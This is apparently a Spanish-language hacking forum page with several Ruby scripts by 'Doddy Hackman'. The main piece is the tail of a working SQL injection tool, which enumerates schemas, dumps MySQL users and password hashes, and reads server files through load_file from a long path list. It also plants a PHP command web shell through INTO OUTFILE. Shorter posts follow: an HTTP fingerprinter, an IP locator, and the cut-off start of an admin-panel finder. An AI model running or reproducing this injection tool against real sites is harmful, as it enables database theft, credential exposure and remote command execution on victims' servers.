b/php/php.ini','/usr/local/etc/php.ini','/usr/local/lib/php.ini','/usr/local/php/lib/php.ini','/usr/local/php4/lib/php.ini','/usr/local/php5/lib/php.ini','/usr/local/apache/conf/php.ini','/etc/php4.4/fcgi/php.ini','/etc/php4/apache/php.ini','/etc/php4/apache2/php.ini','/etc/php5/apache/php.ini','/etc/php5/apache2/php.ini','/etc/php/php.ini','/etc/php/php4/php.ini','/etc/php/apache/php.ini','/etc/php/apache2/php.ini','/web/conf/php.ini','/usr/local/Zend/etc/php.ini','/opt/xampp/etc/php.ini','/var/local/www/conf/php.ini','/etc/php/cgi/php.ini','/etc/php4/cgi/php.ini','/etc/php5/cgi/php.ini','c:\php5\php.ini','c:\php4\php.ini','c:\php\php.ini','c:\PHP\php.ini','c:\WINDOWS\php.ini','c:\WINNT\php.ini','c:\apache\php\php.ini','c:\xampp\apache\bin\php.ini','c:\NetServer\bin\stable\apache\php.ini','c:\home2\bin\stable\apache\php.ini','c:\home\bin\stable\apache\php.ini','/Volumes/Macintosh_HD1/usr/local/php/lib/php.ini','/usr/local/cpanel/logs','/usr/local/cpanel/logs/stats_log','/usr/local/cpanel/logs/access_log','/usr/local/cpanel/logs/error_log','/usr/local/cpanel/logs/license_log','/usr/local/cpanel/logs/login_log','/var/cpanel/cpanel.config','/var/log/mysql/mysql-bin.log','/var/log/mysql.log','/var/log/mysqlderror.log','/var/log/mysql/mysql.log','/var/log/mysql/mysql-slow.log','/var/mysql.log','/var/lib/mysql/my.cnf','C:\ProgramFiles\MySQL\MySQLServer5.0\data\hostname.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.log','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql.err','C:\ProgramFiles\MySQL\MySQLServer5.0\data\mysql-bin.log','C:\ProgramFiles\MySQL\data\hostname.err','C:\ProgramFiles\MySQL\data\mysql.log','C:\ProgramFiles\MySQL\data\mysql.err','C:\ProgramFiles\MySQL\data\mysql-bin.log','C:\MySQL\data\hostname.err','C:\MySQL\data\mysql.log','C:\MySQL\data\mysql.err','C:\MySQL\data\mysql-bin.log','C:\ProgramFiles\MySQL\MySQLServer5.0\my.ini','C:\ProgramFiles\MySQL\MySQLServer5.0\my.cnf','C:\ProgramFiles\MySQL\my.ini','C:\ProgramFiles\MySQL\my.cnf','C:\MySQL\my.ini','C:\MySQL\my.cnf','/etc/logrotate.d/proftpd','/www/logs/proftpd.system.log','/var/log/proftpd','/etc/proftp.conf','/etc/protpd/proftpd.conf','/etc/vhcs2/proftpd/proftpd.conf','/etc/proftpd/modules.conf','/var/log/vsftpd.log','/etc/vsftpd.chroot_list','/etc/logrotate.d/vsftpd.log','/etc/vsftpd/vsftpd.conf','/etc/vsftpd.conf','/etc/chrootUsers','/var/log/xferlog','/var/adm/log/xferlog','/etc/wu-ftpd/ftpaccess','/etc/wu-ftpd/ftphosts','/etc/wu-ftpd/ftpusers','/usr/sbin/pure-config.pl','/usr/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.conf','/usr/local/etc/pure-ftpd.conf','/usr/local/etc/pureftpd.pdb','/usr/local/pureftpd/etc/pureftpd.pdb','/usr/local/pureftpd/sbin/pure-config.pl','/usr/local/pureftpd/etc/pure-ftpd.conf','/etc/pure-ftpd/pure-ftpd.pdb','/etc/pureftpd.pdb','/etc/pureftpd.passwd','/etc/pure-ftpd/pureftpd.pdb','/var/log/pure-ftpd/pure-ftpd.log','/logs/pure-ftpd.log','/var/log/pureftpd.log','/var/log/ftp-proxy/ftp-proxy.log','/var/log/ftp-proxy','/var/log/ftplog','/etc/logrotate.d/ftp','/etc/ftpchroot','/etc/ftphosts','/var/log/exim_mainlog','/var/log/exim/mainlog','/var/log/maillog','/var/log/exim_paniclog','/var/log/exim/paniclog','/var/log/exim/rejectlog','/var/log/exim_rejectlog']

    def toma(web)
      begin
        return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
      rescue
        return "Error"
      end
    end

    def decode_hex(text)
      text = text.sub("0x","")
      return [text].pack('H*')[0]
    end

    def encode_hex(text)
      return "0x"+text.unpack('H*')[0]
    end

    def copyright()
      print "\n-- == (C) Doddy Hackman 2015 == --\n"
      gets.chomp
      exit(1)
    end

    def installer()
      dir = Dir::pwd+"/"+"logs_webs"
      if not FileTest::directory?(dir)
        Dir::mkdir(dir)
      end
    end

    def savefile(file,text)
      url = URI.parse(file)
      save = File.open("logs_webs/"+url.host+".txt","a")
      save.puts text+"\n"
      save.close
    end

    def bypass(op)
      if op=="--"
        return "+","--"
      elsif op=="/*"
       return "/**/","/**/"
      elsif op=="%20"
       return "%20","%00"
      else
       return "+","--"   
      end
    end

    def head()
      clean()
      print "
     
    @      @@   @             
    @@     @  @ @@             
    @ @@  @  @  @ @   @ @ @@@
    @ @   @  @  @@ @ @@@ @  @
    @@    @  @  @  @  @   @@@
    @ @   @  @  @  @  @  @  @
    @@@ @   @@   @@@  @@@ @@@@@

    "
    end

    def volverinicio()
      print "\n\n[+] Press any key to continue\n\n"
      gets.chomp
      inicio()
    end

    def clean()
      if RUBY_PLATFORM=~/win/ or RUBY_PLATFORM=~/min/
        system("cls")
      else
        system("clear")
      end
    end

    def retorno(url,by)
      print "\n[+] Finished"
      print "\n\n[+] Press any key to continue\n\n"
      gets.chomp
      central(url,by)
    end

    def gettables(url,by)
      pass1,pass2 = bypass(by)
      web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(table_name),0x4b30425241)))")
      web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))")
      print "\n[+] Getting tables ...\n\n"
      code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
      if code1=~/K0BRA(.*?)K0BRA/
        total = $1
        print "[+] Tables Found : ",total,"\n\n"
        savefile(url,"\n[+] Tables Found : #{total}\n")
        for num in ("17"..total)
          code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"limit"+pass1+num+",1"+pass2)
          if code2=~/K0BRA(.*?)K0BRA/
            table = $1
            print "[+] Table Found : "+table+"\n"
            savefile(url,"[+] Table Found : #{table}")
          end
        end
      else
        print "[-] Not Found\n"
      end
    end

    def getcolumns(url,by,tablex)
      tablexa = encode_hex(tablex)
      pass1,pass2 = bypass(by)
      web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(column_name),0x4b30425241)))")
      web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))")
      print "\n[+] Getting columns ...\n\n"
      code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tablexa+pass2)
      if code1=~/K0BRA(.*?)K0BRA/
        total = $1
        print "[+] Columns Found : ",total,"\n\n"
        savefile(url,"\n[+] Table : #{tablex}")
        savefile(url,"[+] Columns Found : #{total}\n")
        for num in ("0"..total)
          code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tablexa+pass1+"limit"+pass1+num+",1"+pass2)
          if code2=~/K0BRA(.*?)K0BRA/
            table = $1
            print "[+] Column Found : "+table+"\n"
            savefile(url,"[+] Column Found : #{table}")
          end
        end
      else
        print "[-] Not Found\n"
      end
    end

    def getdbs(url,by)
      pass1,pass2 = bypass(by)
      web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
      web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,schema_name,0x4b30425241)))")
      print "\n[+] Getting DBS ...\n\n"
      code1 = toma(web1+pass1+"from"+pass1+"information_schema.schemata"+pass2)
      if code1=~/K0BRA(.*?)K0BRA/
        total = $1
        print "[+] DBS Found : ",total,"\n\n"
        savefile(url,"\n[+] DBS Found : #{total}\n")
        for num in ("0"..total)
          code2 = toma(web2+pass1+"from"+pass1+"information_schema.schemata"+pass1+"limit"+pass1+num+",1"+pass2)
          if code2=~/K0BRA(.*?)K0BRA/
            table = $1
            print "[+] DB Found : "+table+"\n"
            savefile(url,"[+] DB Found : #{table}")
          end
        end
      else
        print "[-] Not Found\n"
      end
    end

    def gettablesbydb(url,by,dbx)
      data  = encode_hex(dbx)
      pass1,pass2 = bypass(by)
      web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
      web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,table_name,0x4b30425241)))")
      print "\n[+] Getting tables ...\n\n"
      code1 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+data+pass2)
      if code1=~/K0BRA(.*?)K0BRA/
        total = $1
        print "[+] Tables Found : ",total,"\n\n"
        savefile(url,"\n[+] DBS : #{dbx}")
        savefile(url,"[+] Tables Found : #{total}\n")
        for num in ("0"..total)
          code2 = toma(web2+pass1+"from"+pass1+"information_schema.tables"+pass1+"where"+pass1+"table_schema="+data+pass1+"limit"+pass1+num+",1"+pass2)
          if code2=~/K0BRA(.*?)K0BRA/
            table = $1
            print "[+] Table Found : "+table+"\n"
            savefile(url,"[+] Table Found : #{table}")
          end
        end
      else
        print "[-] Not Found\n"
      end
    end

    def getcolumnsbydb(url,by,db,tab)
      data = encode_hex(db)
      tabx = encode_hex(tab)
     
      pass1,pass2 = bypass(by)
      web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
      web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,column_name,0x4b30425241)))")
      print "\n[+] Getting columns ...\n\n"
      code1 = toma(web1+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabx+pass1+"and"+pass1+"table_schema="+data+pass2)
      if code1=~/K0BRA(.*?)K0BRA/
        total = $1
        print "[+] Columns Found : ",total,"\n\n"
        savefile(url,"\n[+] DB : #{db}")
        savefile(url,"[+] Table : #{tab}")
        savefile(url,"[+] Columns Found : #{total}\n")
        for num in ("0"..total)
          code2 = toma(web2+pass1+"from"+pass1+"information_schema.columns"+pass1+"where"+pass1+"table_name="+tabx+pass1+"and"+pass1+"table_schema="+data+pass1+"limit"+pass1+num+",1"+pass2)
          if code2=~/K0BRA(.*?)K0BRA/
            table = $1
            print "[+] Column Found : "+table+"\n"
            savefile(url,"[+] Column Found : #{table}")
          end
        end
      else
        print "[-] Not Found\n"
      end
    end

    def mysqluser(url,by)
      pass1,pass2 = bypass(by)
      web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
      web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,Host,0x4b30425241,0x4B3042524131,User,0x4B3042524131,0x4B3042524132,Password,0x4B3042524132)))")
       print "\n[+] Searching mysql.user\n\n"
      code1 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
      if code1=~/K0BRA(.*?)K0BRA/
        total = $1
        print "[+] Users Mysql Found : ",total,"\n\n"
        savefile(url,"[+] Users Mysql Found : "+total+"\n")
        for num in ("0"..total)
          code2 = toma(web2+pass1+"from"+pass1+"mysql.user"+pass1+"limit"+pass1+num+",1"+pass2)
          if code2=~/K0BRA(.*)K0BRAK0BRA1(.*)K0BRA1K0BRA2(.*)K0BRA2/
            host,user,passw = $1,$2,$3
            print "[Host] : "+host
            print " [User] : "+user
            print " [Pass] : "+passw+"\n"   
            savefile(url,"[Host] : "+host)
            savefile(url,"[User] : "+user)
            savefile(url,"[Pass] : "+passw+"\n")
          end
        end
      else
        print "[-] Not Found\n"
      end
    end

    def details(url,by)
      pass1,pass2 = bypass(by)
      hextest = "0x2f6574632f706173737764" #/etc/passwd
      hextest = "0x633A2F78616D70702F726561642E747874" #c:/xampp/read.txt
      web1 = url.sub(/hackman/,"0x4b30425241")
      web2 = url.sub(/hackman/,"concat(0x4b30425241,user(),0x4b30425241,database(),0x4b30425241,version(),0x4b30425241)")
      web3 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+hextest+"))))")
       print "\n[+] Extrating information of the DB\n"
      code1 = toma(web2)
      if code1=~/K0BRA(.*)K0BRA(.*)K0BRA(.*)K0BRA/
        user,data,ver = $1,$2,$3
        print "\n[+] Username : "+user
        print "\n[+] Database : "+data
        print "\n[+] Version : "+ver+"\n\n"
        savefile(url,"\n[+] Username : "+user)
        savefile(url,"[+] Database : "+data)
        savefile(url,"[+] Version : "+ver+"\n")
      else
        print "[-] Not Found\n"
      end
       code2 = toma(web1+pass1+"from"+pass1+"mysql.user"+pass2)
       code3 = toma(web1+pass1+"from"+pass1+"information_schema.tables"+pass2)
       code4 = toma(web3)
       if code2=~/K0BRA/
         print "[+] Mysql User : ON\n"
         savefile(url,"[+] Mysqluser : ON")
       end
       if code3=~/K0BRA/
         print "[+] information_schema : ON\n"
         savefile(url,"[+] information_schema : ON")
       end
       if code4=~/ERTOR854/
         print "[+] load_file : ON\n"
         savefile(url,"[+] load_file : ON")
       end   
       savefile(url,"") #espacio en blanco
    end

    def dumper(url,by,table,col1,col2)
      pass1,pass2 = bypass(by)
      web1 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,count(*),0x4b30425241)))")
      web2 = url.sub(/hackman/,"unhex(hex(concat(0x4b30425241,"+col1+",0x4b30425241,"+col2+",0x4b30425241)))")
      print "\n[+] Getting Values ...\n\n"
      code1 = toma(web1+pass1+"from"+pass1+table+pass2)
      if code1=~/K0BRA(.*?)K0BRA/
        total = $1
        savefile(url,"\n[+] Table : "+table)
        savefile(url,"[+] Column 1 : "+col1)
        savefile(url,"[+] Column 2 : "+col2)
        print "[+] Values Found : ",total,"\n"
        savefile(url,"\n[+] Values Found : #{total}\n")
        for num in ("0"..total)
          code2 = toma(web2+pass1+"from"+pass1+table+pass1+"limit"+pass1+num+",1"+pass2)
          if code2=~/K0BRA(.*)K0BRA(.*)K0BRA/
            uno,dos = $1,$2
            print "\n[+] "+col1+" : "+uno+"\n"
            print "[+] "+col2+" : "+dos+"\n"
            savefile(url,"\n[+] "+col1+" : "+uno)
            savefile(url,"[+] "+col2+" : "+dos)
          end
        end
      else
        print "[-] Not Found\n"
      end
    end

    def fuzzfile(url,by)
      pass1,pass2 = bypass(by)
      print "\n[+] Fuzzing Files with load_file ....\n"
      $files.each do |file|
        res = file
        file = file.chomp
        file = encode_hex(file)
        web1 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+file+"),char(69,82,84,79,82,56,53,52))))")
        code = toma(web1)
        if code=~/ERTOR854(.*?)ERTOR854/m
          print "\n\n[File Found] : ",res
          print "\n\n[Source Start]\n"
          print $1
          print "\n[Source End]"
          savefile(url,"\n[File Found] : "+res)
          savefile(url,"\n[Source Start]\n")
          savefile(url,$1)
          savefile(url,"\n[Source End]")
        end   
      end
      print "\n"
    end

    def abrirfile(url,by,file)
      pass1,pass2 = bypass(by)
      print "\n[+] Opening file ....\n"
      res = file
      file = encode_hex(file)
        web1 = url.sub(/hackman/,"unhex(hex(concat(char(69,82,84,79,82,56,53,52),load_file("+file+"),char(69,82,84,79,82,56,53,52))))")
        code = toma(web1)
        if code=~/ERTOR854(.*?)ERTOR854/m
          print "\n\n[File Found] : ",res
          print "\n\n[Source Start]\n"
          print $1
          print "\n[Source End]\n"
          savefile(url,"\n[File Found] : "+res)
          savefile(url,"\n[Source Start]\n")
          savefile(url,$1)
          savefile(url,"\n[Source End]\n")
        else
          print "\n\n[-] Error\n\n"
        end
           
    end

    def into(url,by,full,dir)
      pass1,pass2 = bypass(by)
      linea= "0x3c7469746c653e4d696e69205368656c6c20427920446f6464793c2f7469746c653e3c3f7068702069662028697373657428245f4745545b27636d64275d2929207b2073797374656d28245f4745545b27636d64275d293b7d3f3e"
      lugar = full+"/cmd.php"
      lugardos = dir+"/cmd.php"
      h = URI.parse(url)
      webtest = "http://"+h.host+lugardos
      web1 = url.sub(/hackman/,linea)
      formandoweb = web1+pass1+"into"+pass1+"outfile"+pass1+"'"+lugar+"'"+pass2
      toma(formandoweb)
      code = toma(webtest)
      if code=~/Mini Shell By Doddy/
        print "\n[Shell Up] : "+webtest+"\n"
        savefile(url,"\n[Shell Up] : "+webtest+"\n")
      else
        print "\n\n[-] Error\n"
      end
    end

    def central(url,by)
      clean()
      head()
      print "\n\n[+] Page : #{url}\n"
      print "[+] ByPass : #{by}\n\n"

      print "\n[information_schema]\n\n"
      print "1 - Show tables\n"
      print "2 - Show columns of the a table\n"
      print "3 - Show databases\n"
      print "4 - Show tables from the a DB\n"
      print "5 - Show columns from the a table of the DB\n"
      print "\n[mysql.user]\n\n"
      print "6 - Show users\n"
      print "\n[Others]\n\n"
      print "7 - Show details\n"
      print "8 - Dump data\n"
      print "9 - Fuzz Files with load_file\n"
      print "10 - Load files with load_file\n"
      print "11 - Create Shell\n"
      print "12 - Show log\n"
      print "13 - Change target\n"
      print "14 - Exit\n\n\n"
     
      print "[+] Option : "
      op = gets.chomp
      print "\n"
       
      if op == "1"
        gettables(url,by)
        retorno(url,by)
      elsif op == "2"
        print "\n[+] Table : "
        table = gets.chomp
        getcolumns(url,by,table)
        retorno(url,by)
      elsif op == "3"
        getdbs(url,by)
        retorno(url,by)
      elsif op == "4"
        print "\n[+] DB : "
        db = gets.chomp
        gettablesbydb(url,by,db)
        retorno(url,by)
      elsif op == "5"
        print "\n[+] DB : "
        db = gets.chomp
        print "\n[+] Table : "
        tab = gets.chomp
        getcolumnsbydb(url,by,db,tab)
        retorno(url,by)
      elsif op == "6"
        mysqluser(url,by)
        retorno(url,by)
      elsif op == "7"
        details(url,by)
        retorno(url,by)
      elsif op == "8"
        print "\n[+] Table : "
        table = gets.chomp
        print "\n[+] Column 1 : "
        col1 = gets.chomp
        print "\n[+] Column 2 : "
        col2 = gets.chomp
        dumper(url,by,table,col1,col2)
        retorno(url,by)
      elsif op == "9"
        fuzzfile(url,by)
        retorno(url,by)
      elsif op == "10"
        print "\n[+] File : "
        file = gets.chomp
        abrirfile(url,by,file)
        retorno(url,by)
      elsif op == "11"
        print "\n[Full Source Discloure] : "
        full = gets.chomp
        print "\n[Directory to test] : "
        dir = gets.chomp
        into(url,by,full,dir)
        retorno(url,by)
      elsif op == "12"
        urla = URI.parse(url)
        ar = "logs_webs/"+urla.host+".txt"
        system("start #{ar}")
        retorno(url,by)
      elsif op == "13"
        inicio()
      elsif op == "14"
        copyright()
      else
        retorno(url,by)
      end
    end

    def findlength(url,by)
      pass1,pass2 = bypass(by)
      z = "1"
      print "\n[+] Finding columns lenght ...\n\n"
      x = "concat(0x4b30425241,1,0x4b30425241)"
      for num in ('2'..'25')
        z = z+","+num
        x= x+","+"concat(0x4b30425241,"+num+",0x4b30425241)"
        code = toma(url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+x)
        if code=~/K0BRA(.*?)K0BRA/
          print "[+] The Page has "+num+" columns\n"
          print "[+] The number "+$1+" print data"
          z = z.sub($1,"hackman")
          sqli = url+"1"+pass1+"and"+pass1+"1=0"+pass1+"union"+pass1+"select"+pass1+z
          savefile(url,"[+] SQLI : "+sqli)
          savefile(url,"[+] Bypass : "+by+"\n")
          central(sqli,by)
        end
      end
      print "[-] Columns lenght not found\n"
      volverinicio()
    end

    def testvul(page,by)
      pass1,pass2 = bypass(by)
      print "\n\n[+] Testing vulnerability ...\n\n"
      codeuno = toma(page+"1"+pass1+"and"+pass1+"1=0"+pass2)
      codedos = toma(page+"1"+pass1+"and"+pass1+"1=1"+pass2)
      if codeuno != codedos
        print "[+] Vulnerable !\n"
        findlength(page,by)
      else
        print "[-] Not vulnerable\n"
        print "\n[+] Scan anyway y/n : "
        op = gets.chomp
        if op == "y"
          findlength(page,by)
        else
          volverinicio()
      end
    end 
    end

    def inicio()
      clean()
      head()
      print "\n\n[+] Page : "
      page = gets.chomp
      print "\n[+] Bypass : "
      by = gets.chomp
      if page=~/hackman/
        central(page,by)
      else
        testvul(page,by)
      end
    end

    installer()
    inicio()

    # The End ?


    Eso es todo.
#50
Scripting / [Ruby] HTTP FingerPrinting 0.2
12 Julio 2015, 17:27 PM
Un simple script en Ruby para hacer HTTP FingerPrinting.

Version consola :

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#HTTP FingerPrinting 0.2
#(C) Doddy Hackman 2015

require "net/http"

# Functions

def httpfinger(page)
respuesta = ""
begin
nave = Net::HTTP.start(page)
headers = nave.head("/")
headers.each do |name,value|
respuesta = respuesta + "[+] "+name+" : "+value+"\n"
end
nave.finish
rescue
respuesta = "Error"
end
return respuesta
end

def uso
print "\n[+] Sintax : ruby httpfinger.rb <target>\n"
end

def  head
print "\n-- == HTTP FingerPrinting 0.2 == --\n\n"
end

def copyright
print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
end

#

target = ARGV[0]

head()

if !target
uso()
else
print "\n[+] Searching ...\n\n"
print httpfinger(target)
print "\n[+] Finished\n"
end

copyright()

#The End ?


Version Tk :

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#HTTP FingerPrinting 0.2
#(C) Doddy Hackman 2015

require "tk"
require "net/http"

# Functions

def httpfinger(page)
respuesta = ""
begin
nave = Net::HTTP.start(page)
headers = nave.head("/")
headers.each do |name,value|
respuesta = respuesta + "[+] "+name+" : "+value+"\n"
end
nave.finish
rescue
respuesta = "Error"
end
return respuesta
end

#

window = TkRoot.new { title "HTTP FingerPrinting 0.2 Coded By Doddy H" ; background "black" }
window['geometry'] = '300x300-20+10'

TkLabel.new(window) do
background "black"
foreground "cyan"
text "    Target : "
place('relx'=>"0.1",'rely'=>"0.1")
end

target = TkEntry.new(window){
background "black"
foreground "cyan"
width 25
place('relx'=>0.3,'rely'=>0.1)
}

TkLabel.new(window) do
background "black"
foreground "cyan"
text "Console"
place('relx'=>0.4,'rely'=>0.2)
end

console =TkText.new(window) do
background "black"
foreground "cyan"
width 30
height 10
place('relx'=>0.1,'rely'=>0.3)
end

TkButton.new(window) do
text "Search"
        background "black"
foreground "cyan"
width 17
activebackground "cyan"
highlightbackground  "cyan"
command proc{
target = target.value.to_s
console.insert("end","[+] Searching ...\n\n")
console.insert("end",httpfinger(target))
console.insert("end","\n[+] Finished")
}
place('relx'=>0.3,'rely'=>0.9)
end

Tk.mainloop

#The End ?


Una imagen :



Eso es todo.
#51
Scripting / [Ruby] LocateIP 0.3
27 Junio 2015, 01:18 AM
Un simple script en Ruby para localizar una IP y sus DNS.

Version consola :

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#LocateIP 0.3
#(C) Doddy Hackman 2015

require "open-uri"
require "net/http" 
require "resolv"

# Functions

def get_ip(hostname)
begin
return Resolv.getaddress(hostname)
rescue
return "Error"
end
end

def toma(web)
begin
return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
rescue
return "Error"
end
end

def response_code(web)
begin
return Net::HTTP.get_response(URI(web)) .code
rescue
return "404"
end
end

def tomar(web,arg)
begin
headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
uri = URI(web)
http = Net::HTTP.new(uri.host, uri.port)
return http.post(uri.path,arg, headers).body
rescue
return "Error"
end
end

def uso
print "\n[+] Sintax : ruby locateip.rb <target>\n"
end

def  head
print "\n\n-- == LocateIP 0.3 == --\n\n"
end

def copyright
print "\n\n-- == (C) Doddy Hackman 2015 == --\n\n"
end

def locateip(target)

print "\n[+] Getting IP ...\n"

ip = get_ip(target)

print "\n[+] IP : "+ip+"\n"

web = "http://www.melissadata.com/lookups/iplocation.asp"
print "\n[+] Locating ...\n\n"

code = tomar(web,"ipaddress="+ip+"&btn=Submit")

if code=~/City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
print "[+] City : "+$2+"\n"
else
print "[+] City : Not Found\n"
end

if code=~/Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
print "[+] Country : "+$2+"\n"
else
print "[+] Country : Not Found\n"
end

if code=~/State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
print "[+] State or Region : "+$2+"\n";
else
print "[+] State of Region : Not Found\n"
end

print "\n[+] Getting DNS ...\n\n"

control = "0"

code = toma("http://www.ip-adress.com/reverse_ip/"+ip)

dnss = code.scan(/whois\/(.*?)\">Whois/)

dnss.flatten.each do |dns|
begin
if dns != ""
control = "1"
print "[+] DNS Found : "+dns
end
end
end

if control=="0"
print "\n[-] DNS Not Found\n"
end
end

target = ARGV[0]

head()

if !target
uso()
else
locateip(target)
end

copyright()

#The End ?


Version Tk :

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#LocateIP 0.3
#(C) Doddy Hackman 2015

require "tk"
require "open-uri"
require "net/http"
require "resolv"

# Functions

def get_ip(hostname)
begin
return Resolv.getaddress(hostname)
rescue
return "Error"
end
end

def toma(web)
begin
return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
rescue
return "Error"
end
end

def response_code(web)
begin
return Net::HTTP.get_response(URI(web)) .code
rescue
return "404"
end
end

def tomar(web,arg)
begin
headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
uri = URI(web)
http = Net::HTTP.new(uri.host, uri.port)
return http.post(uri.path,arg, headers).body
rescue
return "Error"
end
end

#

window = TkRoot.new { title "LocateIP 0.3 (C) Doddy Hackman 2015" ; background "black" }
window['geometry'] = '300x300-20+10'

TkLabel.new(window) do
background "black"
foreground "yellow"
text "    Target : "
place('relx'=>"0.1",'rely'=>"0.1")
end

target = TkEntry.new(window){
background "black"
foreground "yellow"
width 25
place('relx'=>0.3,'rely'=>0.1)
}

TkLabel.new(window) do
background "black"
foreground "yellow"
text "Console"
place('relx'=>0.4,'rely'=>0.2)
end

console =TkText.new(window) do
background "black"
foreground "yellow"
width 30
height 10
place('relx'=>0.1,'rely'=>0.3)
end

TkButton.new(window) do
text "Search"
        background "black"
foreground "yellow"
width 17
activebackground "yellow"
highlightbackground  "yellow"
command proc{

target = target.value.to_s

console.insert("end",  "[+] Getting IP ...\n")

ip = get_ip(target)

web = "http://www.melissadata.com/lookups/iplocation.asp"

console.insert("end", "\n[+] Locating ...\n\n")

code = tomar(web,"ipaddress="+ip+"&btn=Submit")

if code=~/City<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
console.insert("end", "[+] City : "+$2+"\n")
else
console.insert("end", "[+] City : Not Found\n")
end

if code=~/Country<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
console.insert("end","[+] Country : "+$2+"\n")
else
console.insert("end", "[+] Country : Not Found\n")
end

if code=~/State or Region<\/td><td align=(.*)><b>(.*)<\/b><\/td>/
console.insert("end", "[+] State or Region : "+$2+"\n")
else
console.insert("end","[+] State of Region : Not Found\n")
end

console.insert("end","\n[+] Getting DNS ...\n\n")

control = "0"

code = toma("http://www.ip-adress.com/reverse_ip/"+ip)

dnss = code.scan(/whois\/(.*?)\">Whois/)

dnss.flatten.each do |dns|
begin
if dns != ""
control = "1"
console.insert("end", "[+] DNS Found : "+dns)
end
end
end

if control=="0"
console.insert("end","\n[-] DNS Not Found\n")
end

console.insert("end","\n\n[+] Finished")

}
place('relx'=>0.3,'rely'=>0.9)
end

Tk.mainloop

#The End ?


Una imagen :



Eso es todo.
#52
Scripting / [Ruby] PanelFinder 0.5
12 Junio 2015, 23:52 PM
Un simple script en Ruby para buscar el panel de administracion de una pagina.

Version consola :

Código (ruby) [Seleccionar]

#!usr/bin/ruby
#PanelFinder 0.5
#(C) Doddy Hackman 2015

require "open-uri"
require "net/http" 

# Functions

def toma(web)
begin
return open(web, "User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0").read
rescue
return "Error"
end
end

def response_code(web)
begin
return Net::HTTP.get_response(URI(web)) .code
rescue
return "404"
end
end

def tomar(web,arg)
begin
headers = {"User-Agent" => "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"}
uri = URI(web)
http = Net::HTTP.new(uri.host, uri.port)
return http.post(uri.path,arg, headers).body
rescue
return "Error"
end
end

def find_panel(page)
panels = ['admin/admin.asp','admin/login.asp','admin/index.asp','admin/admin.aspx','admin/login.aspx','admin/index.aspx','admin/webmaster.asp','admin/webmaster.aspx','asp/admin/index.asp','asp/admin/index.aspx','asp/admin/admin.asp','asp/admin/admin.aspx','asp/admin/webmaster.asp','asp/admin/webmaster.aspx','admin/','login.asp','login.aspx','admin.asp','admin.aspx','webmaster.aspx','webmaster.asp','login/index.asp','login/index.aspx','login/login.asp','login/login.aspx','login/admin.asp','login/admin.aspx','administracion/index.asp','administracion/index.aspx','administracion/login.asp','administracion/login.aspx','administracion/webmaster.asp','administracion/webmaster.aspx','administracion/admin.asp','administracion/admin.aspx','php/admin/','admin/admin.php','admin/index.php','admin/login.php','admin/system.php','admin/ingresar.php','admin/administrador.php','admin/default.php','administracion/','administracion/index.php','administracion/login.php','administracion/ingresar.php','administracion/admin.php','administration/','administration/index.php','administration/login.php','administrator/index.php','administrator/login.php','administrator/system.php','system/','system/login.php','admin.php','login.php','administrador.php','administration.php','administrator.php','admin1.html','admin1.php','admin2.php','admin2.html','yonetim.php','yonetim.html','yonetici.php','yonetici.html','adm/','admin/account.php','admin/account.html','admin/index.html','admin/login.html','admin/home.php','admin/controlpanel.html','admin/controlpanel.php','admin.html','admin/cp.php','admin/cp.html','cp.php','cp.html','administrator/','administrator/index.html','administrator/login.html','administrator/account.html','administrator/account.php','admi